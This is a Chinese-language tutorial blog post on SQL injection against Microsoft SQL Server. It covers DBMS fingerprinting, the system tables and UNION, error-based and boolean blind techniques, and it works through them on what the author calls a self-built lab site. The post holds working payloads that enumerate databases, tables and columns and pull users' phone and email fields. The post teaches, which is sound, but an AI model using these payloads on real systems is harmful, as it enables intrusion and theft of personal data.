SQL注入-基于MSsql(sql server)的注入
2022/2/13 19:45:22
本文主要是介绍SQL注入-基于MSsql(sql server)的注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录
一、如何判断该网站使用的是sql server 数据库
二、sql server 数据库包含三张主要系统表
三、sql server 主要函数
四、数据库的注入流程
五、sql server 的联合查询
六、sql server 的报错注入
七、sql server 的布尔型盲注。
一、如何判断该网站使用的是sql server 数据库
- 根据后缀判断:如果后缀为aspx,数据库大概是sql server
- 根据报错信息判断,报错信息中有Microsoft 字样。
- 根据系统表判断,and (select count(*)from sysdatabases) >0 ,如果成立的话,则说明它里边含有这个系统表,可以判断为sql server 数据库 sql server 数据库包含三张主要系统表
二、sql server 数据库包含三张主要系统表
- sysdatabases :这张表保存在master数据库中,里边的name字段下存放的是所有数据库的库名。
- sysobjects:这张表保存的是数据库的表的信息,里边的id字段存放的是表的id,name为表名,xtype 字段存放的是表的类型,u代表为用户创建的表,s表示该表是系统表。
- syscolumns:这张表存放的是数据库中字段的信息,id 为表的id,该id可以通过sysobjects获得。name为字段名称。
三、sql server 主要函数
- host_name() :返回服务器端主机名称。
- current_user():返回当前数据库用户。
- db_name():返回当前数据库库名 。
- char():将ASCII码转化为对应的字符。
- ASCII():将字符转化为对应的ASCII码。
- substring():截取字符串。
四、数据库的注入流程
- 获取数据库名称
- 获取数据库中表的名称
- 获取数据库中表的列名
- 获取对应的数据
五、sql server 的联合查询
1.使用union关键字
2.使用union联合查询注意事项
- 首先还是需要知道查询的列数,使用order by n 进行判断 n表示具体列数。
- sql server 数据库与MySQL数据库不同的是,sql server 数据库前后的数据类型必须一致。
- 判断出数据的显示位置。
- 使得先前的查询结果为空。
3.sql server 数据库使用联合查询的演示。
注:该网站为个人搭建的网站,不可利用真实网站进行攻击。
3.1首先判断注入点,其次判断注入类型
加入单引号,发现有报错信息
3.2 直接使用2-1判断其数据类型
发现页面回显成功,所以可以确定为数字型,接下来使用union联合查询
3.3 使用order by 判断其列数
可以发现列数为13列
3.4 确认每列的数据类型,所以发现数据类型不兼容,可以使用null 做替换
当我们全部使用null时,发现还是不对,产生这一错误的原因是union语句合并查询时是默认去除重复项的,也就是默认执行了distinct操作。
因此需要将union 改为 union all 不去除重复项,就能够解决这个报错。一般到这里之后就可以直接接着往下获取数据库了, 但是这里的环境有报错了,说明查询出来的时候,还存在数据类型不匹配,继续从头替换为null ,直到不报错为止。最终确定为3,4,6,7,10,11为字符 , 1,2,5,8,9,12,13为数字型
3.5 现在可以首页联合查询获取数据库的相关信息
3.5.1 获取数据库库名
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
3.5.2 获取当前数据库的库名
payload:id=1 UNION all SELECT 1,2,db_name(),null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
3.5.3 获取数据库中的表名
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype = 0x75
3.5.4 获取当前表名的字段
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id = (select id from jiaofan..sysobjects where name = 0x73006C005F007500730065007200)
5.3.5 获取字段下具体的值
payload:id=1 UNION all SELECT 1,2,shouji,null,5,youxiang,null,8,9,null,null,12,13 from sl_user
六、sql server 的报错注入
与其他数据库报错注入类似。
1.sql server 报错注入的演示
1.1获取当前数据库
payload:id=1 and 1=(select db_name())
1.2获取所有数据库(由于我们使用的是and 1= ()进行的报错,所以一次只能获取一个值,这时可以使用top函数)
payload:id=1 and 1= (select top 1 name from master..sysdatabases)
如果想获取第二行数据,
payload:id=1 and 1= (select top 1 name from master..sysdatabases where name not in( select top 1 name from master..sysdatabases ))
1.3获取当前数据库的表名
payload:id=1 and 1= (select top 1 name from jiaofan..sysobjects where xtype = 0x75)
1.4获取表中的字段名
由于涉及到两张表,所以可以将两张表联合起来
payload:id=1 and 1= (select top 1 c.name from jiaofan..syscolumns c ,jiaofan..sysobjects o where c.id = o.id and o.name =0x73006C005F007500730065007200 )
七、sql server 的布尔型盲注。
1.sql server 布尔型盲注的演示
1.1获取数据库的数据库个数
payload:id=1 and (select count(*) from master..sysdatabases) >7
id=1 and (select count(*) from master..sysdatabases) >8
1.2获取当前数据库的信息
payload:id=1 and substring((select db_name()),1,1)=char(106)
这篇关于SQL注入-基于MSsql(sql server)的注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-01-08Docker下的SqlServer发布订阅启用
- 2023-06-05Docker安装MS SQL Server并使用Navicat远程连接
- 2023-05-25深入浅出 SQL Server CDC 数据同步
- 2023-05-12通过空间占用和执行计划了解SQL Server的行存储索引
- 2023-04-24以SQLserver为例的Dapper详细讲解
- 2022-11-30SQL server高级函数查询
- 2022-11-26SQL SERVER数据库服务器CPU不能全部利用原因分析
- 2022-11-21SQL Server 时间算差值/常用函数
- 2022-11-20调试Archery连接SQL Server提示驱动错误
- 2022-10-22SQL Server 完整、差异备份+完整、差异还原(详细讲解,规避错误)